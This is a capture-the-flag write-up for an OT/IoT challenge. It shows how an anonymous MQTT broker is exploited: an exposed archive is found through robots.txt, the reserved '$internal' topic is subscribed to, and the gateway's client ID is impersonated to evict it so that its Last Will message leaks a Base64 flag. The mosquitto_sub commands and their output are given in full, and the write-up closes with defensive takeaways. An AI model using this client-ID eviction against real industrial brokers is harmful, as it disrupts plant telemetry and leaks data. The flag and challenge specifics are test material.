Back to KPMG CTF 2026 Campus Edition
Last Will (OT / IoT) - Writeup
KPMG CTF 2026 Campus EditionOT / IoT20 ptsMedium

Last Will (OT / IoT) - Writeup

Oct 12, 2026 4 min readWriteup 18 of 22#tutorial
On this page
  1. 1.Challenge Overview
  2. 2.Step 1: robots.txt → the /pub Archive
  3. 3.Step 2: Read the Leaked Operational Docs
  4. 4.Step 3: Reach the Broker
  5. 5.Step 4: The Reserved Namespace
  6. 6.Step 5: Force the Last Will via Client-ID Collision
  7. 7.Step 6: Decode the Flag
  8. 8.Summary
  9. 9.Key Takeaways

Challenge Overview

EventKPMG CTF 2026 Campus Edition
ChallengeLast Will
CategoryOT / IoT
Points20
Web Portalkicyber-...-lastwill-0-0.chals.io
Plant Gateway0.cloud.chals.io:29726

"GreenLeaf migrated its plant telemetry to an old protocol-based IIoT gateway last quarter. The contractor who set it up left early, ops has been finding undocumented pieces of the deployment ever since... Find the flag!"

Last Will challenge card

The title is the spoiler: in MQTT, a client registers a Last Will and Testament (LWT), a message the broker publishes on its behalf if it disconnects unexpectedly. The whole challenge is making the gateway disconnect ungracefully so its Will fires, and that Will carries the flag. We get a web portal (a login we're meant to leave alone) and a gateway on a non-standard port.


Step 1: robots.txt → the /pub Archive

The portal is just a login. Don't brute-force it, enumerate instead. robots.txt points at a directory it wants hidden:

robots.txt disallows /pub/

User-agent: *
Disallow: /pub/

robots.txt is not access control, a disallowed path is still served. /pub/ has an open directory listing:

Directory listing for /pub/

backups/  docs/  logs/  README.txt

Step 2: Read the Leaked Operational Docs

The archive is a goldmine of OT recon. The key files:

docs/network_diagram_old.txt — the gateway speaks MQTT (to a Historian), Modbus TCP and OPC UA, and notes the MQTT broker moved to a non-standard port.

Network diagram

backups/config_backup_2024.txt — confirms mqtt_port=non-standard for device GL-GW-001.

Config backup

logs/gateway_startup.log — the decisive line:

[INFO] Last Will set on plant/gateway/heartbeat_lost

So the gateway's LWT publishes to plant/gateway/heartbeat_lost.

backups/notes.txt — the contractor's two careless admissions, which are the exploit recipe:

notes.txt

  1. "the internal diagnostics branch doesn't show up on a normal full subscribe... MQTT treats topics starting with a certain character as broker reserved and skips them on wildcard matches. Have to ask for the 'internal' branch by its exact name."
  2. "whenever a second device boots up using the same client ID as one already connected, the broker kicks the original off without warning, and it fires an 'unexpected disconnect' alert."

Clue 1 = the $-reserved namespace. Clue 2 = client-ID collision is how we force the Last Will.


Step 3: Reach the Broker

The gateway endpoint needs resolving (our nc wanted an IP):

getent ahostsv4 0.cloud.chals.io     # → 165.227.210.30
nmap -sV -Pn -p 29726 0.cloud.chals.io   # 29726/tcp open (unknown service)
sudo apt install -y mosquitto-clients

A plain wildcard subscribe confirms anonymous MQTT and live telemetry:

mosquitto_sub -h 165.227.210.30 -p 29726 -t '#' -v -W 5 -d

Wildcard subscribe - plant telemetry

plant/sensors/tank1/level 73.6
plant/sensors/pump2/rpm 2563.3
plant/sensors/valve3/state closed
...

Note # did not show any $... topics, exactly as the notes warned.


Step 4: The Reserved Namespace

MQTT spec: a top-level #/+ wildcard will not match topics beginning with $ (reserved, e.g. $SYS). You must name the branch explicitly. The contractor called it $internal:

mosquitto_sub -h 165.227.210.30 -p 29726 -t '$internal/#' -v -W 10 -d
$internal/gateway/registry {"primary_device": "gateway01"}

A retained message naming the primary device: gateway01. That's our candidate for the gateway's MQTT client ID, the thing we need to collide with.


Step 5: Force the Last Will via Client-ID Collision

Two terminals. First, a listener (its own unique ID) watching everything:

# Terminal 1 — observer
mosquitto_sub -h 165.227.210.30 -p 29726 -i observer-watch-01 -t '#' -t '$internal/#' -v -d

Then, in a second terminal, connect using the gateway's own client ID to evict it:

# Terminal 2 — the eviction
mosquitto_sub -h 165.227.210.30 -p 29726 -i gateway01 -t '$internal/#' -v -d -W 10

Terminal 2 shows a telltale reconnect loop, our gateway01 and the real gateway's gateway01 repeatedly kicking each other off:

gateway01 collision reconnect loop

Each time the real gateway is booted, the broker fires its Last Will. Terminal 1 captures it on plant/gateway/heartbeat_lost:

Last Will payload captured

plant/gateway/heartbeat_lost
S1BNR19DVEZ7MmNmdGxMeEoxbjd3MWhqLWRFYnZMVTcxWnJxY0tGdFF0MXVoRlZUbXhGVGd9

Step 6: Decode the Flag

The LWT payload is Base64:

echo 'S1BNR19DVEZ7MmNmdGxMeEoxbjd3MWhqLWRFYnZMVTcxWnJxY0tGdFF0MXVoRlZUbXhGVGd9' | base64 -d
KPMG_CTF{2cftlLxJ1n7w1hj-dEbvLU71ZrqcKFtQt1uhFVTmxFTg}

Summary

StepActionResult
1robots.txt → /pub/Open archive
2Read backups/docs/logsMQTT port, LWT topic, 2 behaviour clues
3mosquitto_sub -t '#'Anonymous access, live telemetry
4-t '$internal/#'primary_device: gateway01
5Reconnect with -i gateway01Evicts gateway → Last Will fires
6Base64-decode the LWT payloadFlag

Key Takeaways

  • robots.txt is a map, not a lock. Disallowed paths are still public; /pub/ handed over the entire OT deployment's documentation.
  • MQTT $ topics are invisible to wildcards. A # subscribe silently skips reserved ($-prefixed) branches, so hidden diagnostics like $internal/# must be named explicitly. Hiding data behind $ is obscurity, not access control.
  • Client-ID collision is a real MQTT DoS/trigger. The spec says a new connection with an existing client ID disconnects the old one. With no per-client authentication, anyone who learns the gateway's ID can evict it, here, weaponised to fire its Last Will on demand.
  • Last Will leaks data on ungraceful disconnect. Secrets never belong in an LWT payload; the gateway published the flag to a topic any anonymous subscriber could read the moment it was kicked.
  • OT/IoT brokers need auth + ACLs. Anonymous subscribe, no client-ID uniqueness enforcement, and no topic ACLs together turned a telemetry broker into a flag dispenser. Require credentials, enforce unique authenticated client IDs, and lock topics per client.

Flag: KPMG_CTF{2cftlLxJ1n7w1hj-dEbvLU71ZrqcKFtQt1uhFVTmxFTg}